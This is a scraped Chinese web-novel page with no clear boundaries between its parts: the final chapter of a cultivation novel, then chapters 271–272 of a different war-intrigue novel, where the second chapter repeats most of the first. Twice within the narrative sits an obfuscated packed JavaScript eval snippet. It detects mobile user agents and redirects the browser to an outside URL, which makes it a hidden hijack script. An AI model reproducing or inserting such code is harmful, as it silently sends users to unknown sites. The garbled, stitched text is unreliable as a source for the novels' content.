“哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168072|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第二百七十一章 山海行(18) “你们这些人,都要去河北吗?” 荥阳城的郡府内,李枢看着眼前一众拱手行礼之人,意外的没有气急败坏,也没有加深半个时辰前的沮丧……恰恰相反,这个时候的他反而有了一丝镇定。 倒是闻讯赶来的崔四郎跟房氏兄弟,此时明显冲击巨大,基本的神色、姿态都不能维持。 一时间,李枢端坐大堂正位,三名心腹皆在左右,而单大郎引六名本地头领加一个刘黑榥俯首立在堂下,倒是泾渭分明。 “李公,不是我们这些人要去河北,而是我们这些人以为,东都已经没法打了,我们不应该继续再枯坐不动。现在刘头领又亲自来求援,那就应该由李公你来召集城内头领商议,落日前就做出决断,然后还是李公你来发军令,派遣我们这些人按照决断来出兵作战。”单通海立在堂中,叉着手言之凿凿,毫无半点激烈之态。 李枢端坐堂上正位,看到左右三名心腹都明显失态,暂时不能依仗,却也不慌,其人沉默片刻,只亲自来辩:“司马正前锋进了轘辕关,确实是该讨论重新出兵的事情了,尤其是刘头领亲自过来求援……但是,如此大事,不该召集行台大部头领来做正经决议吗?尤其是行台的几位大头领,现在伍大头领不在,最起码要将王焯王总管请来才像话。” “李公,军情如火,等王总管来不知道许久了。”丁盛映认真提醒。“岂不误事?” “不错,况且王总管现在应该正在收容淮西溃兵,也算是要务在身,何必强求?”梁嘉定随之附和。 “规矩不能废。”崔玄臣崔四郎算是反应了过来,也勉力来对,按照李枢的意思尽量拖延时间。“头领不齐怎么能决议呢?” “说的好!”就在这时,单大郎忽然放开叉着的双手,扬声来言。“规矩不能废!” 堂上陡然一滞,无论是李枢一方,还是身后一群人都有些反应不及。 “敢问崔分管。”单大郎一手指上,丝毫不给这些人反应机会,只是继续来问。“济阴行台,从李公开始算起,到底一共多少位头领?” 崔四郎先是一愣,继而心中一算,便陡然变色。 非只是他,李枢与刚刚恢复些许血色的房氏兄弟也都肃然……而与之形成鲜明对比的,乃是跟随单大郎到来的一众河南本土头领,他们中几个反应快的,也只是一激灵,却不由大喜。 唯独刘黑榥,虽然精明,却不熟悉河南情况,一时发懵有些算不上来。 “十八位。”单大郎不慌不忙,自行给出了答案。“而现在堂上就已经有十一位济阴行台的头领了,算上正在城内的伍二郎,一共十二人,按照前年大决议所定,去年送下来的成文帮规,三分有其二便可召开行台决议,已经足够了……崔分管,在下说的对不对?” 崔四郎一声不吭。 房彦朗在旁沉默片刻,一声叹气:“单大郎是有备而来啊……” “不是有备而来,刘黑榥头领今日过来求援谁能预料?他来之前便有十二位头领在荥阳,只不过他既然来求援,我们便该急促起来、严肃起来才对。”单大郎继续拱手,却只看着李枢。“李公,请召伍二郎一起决议……或者不用伍二郎,此间堂上大家商量一致也无妨的。” 区区几句话而已,李枢四人便被逼到了墙角。 坦诚说,李枢对于这个所谓决议制度是有过鲜明态度变化的。 一开始的时候是轻视,因为这种制度带有明显的江湖色彩,设立这种制度被他认为是张行对这些江湖色彩浓重的河南豪强们的妥协,是帮会制度顺理成章的延续,是迟早要被抛弃的玩意;然后是不解,因为后续张行开始渐渐掌权,他作为旁观者,渐渐意识到,这到底是一个能够对实际掌权者造成限制的东西,但张行并没有在后续改革中渐渐淘汰这个落后且有约束性的玩意,反而渐渐制度化了起来,岂不让人疑惑;再然后是无视和摒弃,这是济阴行台建立以后的事情,他李枢自己掌握了一个行台后就发现,好像不用这玩意更方便,直接以龙头加行台总指挥的名义去做事,也没见哪里出差错,那为什么要给自己找麻烦? 而现在,他对这个制度是恐惧。 他不敢想象,真的把行台三分之二的头领叫一起在这里决议,然后过半的头领明确反对自己意见的情形。 更不要说,一旦形成与自己心意相违背的结果该如何,到底执行不执行? 如果执行了,自己还怎么继续在行台做总指挥?怎么继续发号施令?而如果不执行,会不会……会不会发生权力制度崩解的恶性事件? 也就是直接被架空、罢免,甚至火并? 李枢又一次沉默了下来,但单大郎也没有催促。 “我觉得事情是这样的,咱们先开诚布公说一说,议一议。”还是房彦朗在勉力支撑。“如果议论妥当,直接让李公发令,咱们就做;议论的不妥当,再按照帮里规矩召集行台决议不迟……” 听到这话,李枢终于再度看了眼房彦朗,他心里很清楚,自己这位老朋友兼心腹是在努力维系自己的威信,但自己却并没有感到多么振奋,恰恰相反,此时李龙头反而更加不安起来,因为他发现,即便是最务实的房彦朗这里,居然也要“讲规矩”,居然也觉得行台决议是一种顺理成章难以违背的东西,并视之为最后的解决途径。 不知不觉中,张行已经将所有人给捆缚在了他的罗网中了吗? “好。”单大郎倒也干脆,他再一拱手,便转到一侧自己例行使用的座位上,然后不等其他人落座,就直接说出了要求。“我们这个七个头领意思都一样,那就是首席是一帮之首,雄天王、徐大郎、王五郎他们是帮内的根基,不能不救,拼了命也要救,尤其是现在刘头领有言语,确实可以渡河打一场,去断官军身后粮道……所以,请李公让我领兵出击,不用多,五个营,一万人,再配合刘头领他们在河北的三个轻骑营,足够形成优势兵力阻断黎阳仓。” 房彦朗听到一万人这个数字,心中微动,不由看向了李枢。 这位李枢山头的二号人物想法很简单,如果是一万人,那答应了也就答应了……毕竟,济阴行台原本就有十二营兵马,今年夺去了荥阳的洛口敖山仓,非但地盘大举扩充,也是趁机招募了不少兵马的,十二营的规制不好公开突破,却借着这个局势以济阴、东郡、东平、荥阳四郡郡卒的名义实际上扩充了四个营,这种情况下分出去五个营来支援河北,堵住人嘴,安抚人心,未尝不可。 实际上,非只是出面应付的大房房彦朗,小房房彦释跟崔四郎也渐渐释然起来。 与之形成鲜明对比的则是李枢,他一开始是几人中最镇定的一个,现在反而渐渐沮丧了起来。 道理很简单,因为他已经意识到了,单通海这几人,或许真不是有备而来,但却做到了无懈可击……从发动速度到决议制度再到兵力,全都让你根本无法发力,真要是发力撕破脸了,就好像自己之前想的那般,必然落败,到时候就是灾难性的结果。 可若是不发力,那就真的只能任由对方施为,而自己却只是枯坐,任人宰割而已。 没错,李枢坚定的认为,从一开始七位头领带着刘黑榥一起过来算起,这就是一场逼宫,一场突袭,一场反乱,一场背叛……只不过挂着合情合理合乎规矩的外皮而已……这群河南豪强,打着忠义的旗号,在自己要做大事的时候,也是最关键的时候背叛了自己。 现在这个时候,不仅仅是张行的命运走到了关键时刻,李定、司马正,还有自己,不都是到了人生中的关键时候吗?包括已经败下来的杜破阵,他难道不是在这个关键时候没撑住的典型吗? 而这个时候,这些人作为自己的下属,丁盛映是王五郎的人不算,其余平素已经向自己做了投靠的人,却纷纷背离了自己。 一念至此,李枢目光扫过单大郎在内的这些刚刚落座的头领,忽然站起身来,打断了几乎已经达成协议的双方:“单大郎。” “李公。”单通海赶紧在座中拱手。“李公请讲……” “我想去徐州……”李枢脱口而对。“也想请你跟我去徐州。” 在场所有人都懵了一下,便是房氏兄弟跟崔四郎都不晓得为什么在这种情况下李枢要说这个? “单大郎。”李枢走到坐着的单通海身前,握住对方双手,诚恳来言。“现在司马正带着徐州兵马往东都,徐州三郡空虚,若能取下,则大河到淮水之间,尽为我们所有……” 单通海此时回过神来,就在座中不解来问:“河北不用救吗?” “河北的局势是这样的,白横秋以下十余万人围困,真真是水泄不通,这个时候骚扰一下后方,切个边边角角,便是成功,也无法动摇大局,结果如何,还是要看张首席自家作为。”李枢认真以对,俨然是早有想法。“反过来说,徐州那里,一旦咱们去了,便是大功告成……” “李龙头!”刘黑榥自来到荥阳城终于逮到一次机会开口。“河北局势严重是不假,可要是我们从后面扯开官军,官军为此腾身,便是给了首席缝隙,以首席的本事,自然会抓住机会,逃出生天……我估摸着,战事是这样的,之前是之前,现在是现在……之前不知道司马正的事情,只知道曹林没了,那时候要是跑,只是被大宗师领着大军压上,就是一败涂地的样子,所以要战;而现在,司马正来了,早一日晚一日,河北肯定知道,官军再多,主要的东都兵肯定慌得不行,太原军也就管不住其他兵马了,这个时候,要是能主动逃出来,就是真的逃出来,河北局势也能反复。” 这话说的,几乎在场所有领兵头领都认可,便是单通海被抓着手都不耽误频频点头,然后又借机来劝李枢:“李公,刘头领说的好,我们出兵河北,一旦赢了,并非不能影响大局。” 李枢顿了一下,继续笑道:“便是辛苦作战,使河北大局扳回一城,可与我们何干?” 徐州之言后,堂上众人再度猝不及防。 “李公此言何意?”单通海微微眯眼。 “很简单,河北是张首席的大局,不是我们的,而徐州若下,与济阴连成一体,咱们也就有了自己的大局。”李枢看都不看其他人,只是拽着单大郎一意来言。“单大郎,去河北,于大局有益,于我等无益;去徐州,咱们公私兼济……却也不是什么以私废公,还请你仔细思量!如果我真是为了什么私心,早该强攻东都了!” 堂上鸦雀无声,谁都没想到,李枢会在这个时候,这种情况下,忽然间就把窗户纸给捅破了。 但是怎么说呢? 房彦朗三人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16167935|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,此时都有些释然,事情就是这个事情,而且也的确到了关键时候,仓促归仓促,那也是被逼的,反倒是李枢这个时候敢大着胆子掀被子,显得更果断些……毕竟,今日不说明日不说,怕是永远没机会说了。 实际上,几位河南本土头领,此时反而惊慌起来,因为这个层面的纷争,他们根本够不着……便是出兵河北的事情,也是要先有个引子,再有人推着,然后有人组织,有人压制,这才勉强汇集起来的,何况是这般赤裸裸的站队赌命的大事? 只能说,李枢的突然袭击也是起效了的。 这些人中,刘黑榥脑袋嗡嗡作响,他本人的立场自然毋庸置疑,但此时却实在是不知道该如何说话,有心站起来呵斥,也总觉得心虚……别人不知道,他如何不晓得,自己的忠义本质上是纯纯的私心,如何能指责人家的“公私兼济”? 但是,这个时候,他不站起来,谁站起来呢? “李龙头,你这话说的不义气!”刚刚寻个位子坐下的刘黑榥站起身来,大声呵斥。“便是打徐州一万个公私方便,可行走天下,哪有见死不救的道理?更莫说,张首席是帮中首席,若是首席都不救,将来谁去救龙头?!龙头不怕天下人笑话?!” “你说的有道理。”李枢睥睨来看,双手依然没有松开单通海。“非只如此,我还能说出一些你没说出却想说的道理,譬如我这个济阴行台的总指挥也是张首席任命的,若不救首席,如何以行台身份来让下面兄弟服从……是也不是?” “当然是!”刘黑榥咬牙来对,他知道对方有言语等自己,但道理就是这个道理,不承认就不是了吗? “那你可知道,这些都是黜龙帮里面的道理,而黜龙帮外尚有天下四海?!天下四海之上,尚有天!”李枢大声驳斥。“当日我与张首席为何要建黜龙帮?为是剪除暴魏,安定天下!为了这个,建黜龙帮之前我便鼓动杨慎来反,张首席建帮之前也曾杀南衙相公于道旁,鼓动靖安台巡骑与御驾分野……而且你信不信,便是这次黜龙帮没了,只要张行还活着,我还活着,也会继续来践行这个志向?!故此,我李枢与张行之间,并无私属,我何须为他守君臣之义?!” 刘黑榥听到这里,完全茫然,他想反驳,却不知道从何处来反。 而很自然的,跟之前在丁盛映小院中一样,堂中所有人,都将目光本能的投向了一个人。 李枢也再度看向了此人:“单大郎,我从没有说要做对不起黜龙帮与张行的事情,包括今日,也照样可以发兵五营去河北救人,我只领剩下人去徐州就是了,但有句话总要说出来,尤其是说给你听!” 闻得依然发兵,刘黑榥几人几乎陡然松懈下来。 唯独单通海,其人深呼吸数次,方才盯住了眼前人,缓缓开口:“请李公言明。” “很简单。”李枢终于松开一只手,指向头顶,扬声来对,一时音震屋瓦。“刚刚刘头领说,我若不去救张行,便要被天下人笑话,可是今天下分崩,英雄并起,李某人不才,勉强聚千里之众,合数万之军,又逢龙蛇相争,若还是受制于人,不能自己做出点事业来,不亲手去剪除暴魏,安定地方,难道天下人就不笑话我了?!还是那句话,现在司马正率军入东都,徐州空虚,而别人倒也罢了,我素来视单大郎为当世英雄,若咱们能共取徐州,天下都要侧目!” 单大郎听到这话,一时热血起涌,似乎回到十几年前,他刚刚奇经修为,横行大泽的时候,也曾起过天下事我自为之的豪情,而如今似乎也的确来到了一个特殊的机遇期……是龙是蛇,是英雄是混蛋,似乎都只是一念之间。 “李公说的有道理。”单大郎沉默了一阵子,待自己气血平落,方才站起身来,反过来握住对方手一字一顿来答。“大丈夫行于乱世,确实该光明磊落才行,但光明磊落也要分人的,李公也好,张首席也罢,我都不好评论,只说我单通海,并不是眼界有限,不能看高,更不是想看高,而是说我出身经历如此,人尽皆知……前几十年就是黑道土豪,所以只讲一个义气;这四年,难得跟着张首席与李公、魏公做了些大事,就只晓得一个黜龙帮的规矩制度……而无论是说义气还是说规矩,我都不能在此时弃了张首席!否则,我就失了立身根本了。” 堂上众人反应各异,李枢张口欲言。 但单通海却又反过来劝说:“李公,从帮内规矩上来说,你是龙头、指挥,你想要分兵去徐州,并不能说不行,但你我相交一场,我却也有些私心言语给你听……大丈夫便是有志向,也该屈身守节,然后再论志向才对!否则,凭什么来承受这份大志呢?” 李枢沉默良久,终于在众人的瞩目下撒开了手,认真来言:“如此,单大郎去河北,我自去徐州便是。” 似乎随着单通海的表明心意,在场之人早就意识到事情的发展方向,所以一时并没有几人因为这最终的妥协而如何色变,但一些人明显黯然,一些人明显慌乱,也是毫无疑问的。 太阳渐渐西沉,天黑之前,安排好了投降事宜的韩二郎亲自为东都军大将纪曾牵马,引军一千进入了历亭城内。 待转入县衙,刚刚摆宴,并召见几名投降屯长,其中一人便直接跪倒在地,向纪曾揭发: “纪将军明鉴,韩二郎是诈降!” 第二百七十二章 山海行(19) “你们这些人,都要去河北吗?” 荥阳城的郡府内,李枢看着眼前一众拱手行礼之人,意外的没有气急败坏,也没有加深半个时辰前的沮丧……恰恰相反,这个时候的他反而有了一丝镇定。 倒是闻讯赶来的崔四郎跟房氏兄弟,此时明显冲击巨大,基本的神色、姿态都不能维持。 一时间,李枢端坐大堂正位,三名心腹皆在左右,而单大郎引六名本地头领加一个刘黑榥俯首立在堂下,倒是泾渭分明。 “李公,不是我们这些人要去河北,而是我们这些人以为,东都已经没法打了,我们不应该继续再枯坐不动。现在刘头领又亲自来求援,那就应该由李公你来召集城内头领商议,落日前就做出决断,然后还是李公你来发军令,派遣我们这些人按照决断来出兵作战。”单通海立在堂中,叉着手言之凿凿,毫无半点激烈之态。 李枢端坐堂上正位,看到左右三名心腹都明显失态,暂时不能依仗,却也不慌,其人沉默片刻,只亲自来辩:“司马正前锋进了轘辕关,确实是该讨论重新出兵的事情了,尤其是刘头领亲自过来求援……但是,如此大事,不该召集行台大部头领来做正经决议吗?尤其是行台的几位大头领,现在伍大头领不在,最起码要将王焯王总管请来才像话。” “李公,军情如火,等王总管来不知道许久了。”丁盛映认真提醒。“岂不误事?” “不错,况且王总管现在应该正在收容淮西溃兵,也算是要务在身,何必强求?”梁嘉定随之附和。 “规矩不能废。”崔玄臣崔四郎算是反应了过来,也勉力来对,按照李枢的意思尽量拖延时间。“头领不齐怎么能决议呢?” “说的好!”就在这时,单大郎忽然放开叉着的双手,扬声来言。“规矩不能废!” 堂上陡然一滞,无论是李枢一方,还是身后一群人都有些反应不及。 “敢问崔分管。”单大郎一手指上,丝毫不给这些人反应机会,只是继续来问。“济阴行台,从李公开始算起,到底一共多少位头领?” 崔四郎先是一愣,继而心中一算,便陡然变色。 非只是他,李枢与刚刚恢复些许血色的房氏兄弟也都肃然……而与之形成鲜明对比的,乃是跟随单大郎到来的一众河南本土头领,他们中几个反应快的,也只是一激灵,却不由大喜。 唯独刘黑榥,虽然精明,却不熟悉河南情况,一时发懵有些算不上来。 “十八位。”单大郎不慌不忙,自行给出了答案。“而现在堂上就已经有十一位济阴行台的头领了,算上正在城内的伍二郎,一共十二人,按照前年大决议所定,去年送下来的成文帮规,三分有其二便可召开行台决议,已经足够了……崔分管,在下说的对不对?” 崔四郎一声不吭。 房彦朗在旁沉默片刻,一声叹气:“单大郎是有备而来啊……” “不是有备而来,刘黑榥头领今日过来求援谁能预料?他来之前便有十二位头领在荥阳,只不过他既然来求援,我们便该急促起来、严肃起来才对。”单大郎继续拱手,却只看着李枢。“李公,请召伍二郎一起决议……或者不用伍二郎,此间堂上大家商量一致也无妨的。” 区区几句话而已,李枢四人便被逼到了墙角。 坦诚说,李枢对于这个所谓决议制度是有过鲜明态度变化的。 一开始的时候是轻视,因为这种制度带有明显的江湖色彩,设立这种制度被他认为是张行对这些江湖色彩浓重的河南豪强们的妥协,是帮会制度顺理成章的延续,是迟早要被抛弃的玩意;然后是不解,因为后续张行开始渐渐掌权,他作为旁观者,渐渐意识到,这到底是一个能够对实际掌权者造成限制的东西,但张行并没有在后续改革中渐渐淘汰这个落后且有约束性的玩意,反而渐渐制度化了起来,岂不让人疑惑;再然后是无视和摒弃,这是济阴行台建立以后的事情,他李枢自己掌握了一个行台后就发现,好像不用这玩意更方便,直接以龙头加行台总指挥的名义去做事,也没见哪里出差错,那为什么要给自己找麻烦? 而现在,他对这个制度是恐惧。 他不敢想象,真的把行台三分之二的头领叫一起在这里决议,然后过半的头领明确反对自己意见的情形。 更不要说,一旦形成与自己心意相违背的结果该如何,到底执行不执行? 如果执行了,自己还怎么继续在行台做总指挥?怎么继续发号施令?而如果不执行,会不会……会不会发生权力制度崩解的恶性事件? 也就是直接被架空、罢免,甚至火并? 李枢又一次沉默了下来,但单大郎也没有催促。 “我觉得事情是这样的,咱们先开诚布公说一说,议一议。”还是房彦朗在勉力支撑。“如果议论妥当,直接让李公发令,咱们就做;议论的不妥当,再按照帮里规矩召集行台决议不迟……” 听到这话,李枢终于再度看了眼房彦朗,他心里很清楚,自己这位老朋友兼心腹是在努力维系自己的威信,但自己却并没有感到多么振奋,恰恰相反,此时李龙头反而更加不安起来,因为他发现,即便是最务实的房彦朗这里,居然也要“讲规矩”,居然也觉得行台决议是一种顺理成章难以违背的东西,并视之为最后的解决途径。 不知不觉中,张行已经将所有人给捆缚在了他的罗网中了吗? “好。”单大郎倒也干脆,他再一拱手,便转到一侧自己例行使用的座位上,然后不等其他人落座,就直接说出了要求。“我们这个七个头领意思都一样,那就是首席是一帮之首,雄天王、徐大郎、王五郎他们是帮内的根基,不能不救,拼了命也要救,尤其是现在刘头领有言语,确实可以渡河打一场,去断官军身后粮道……所以,请李公让我领兵出击,不用多,五个营,一万人,再配合刘头领他们在河北的三个轻骑营,足够形成优势兵力阻断黎阳仓。” 房彦朗听到一万人这个数字,心中微动,不由看向了李枢。 这位李枢山头的二号人物想法很简单,如果是一万人,那答应了也就答应了……毕竟,济阴行台原本就有十二营兵马,今年夺去了荥阳的洛口敖山仓,非但地盘大举扩充,也是趁机招募了不少兵马的,十二营的规制不好公开突破,却借着这个局势以济阴、东郡、东平、荥阳四郡郡卒的名义实际上扩充了四个营,这种情况下分出去五个营来支援河北,堵住人嘴,安抚人心,未尝不可。 实际上,非只是出面应付的大房房彦朗,小房房彦释跟崔四郎也渐渐释然起来。 与之形成鲜明对比的则是李枢,他一开始是几人中最镇定的一个,现在反而渐渐沮丧了起来。 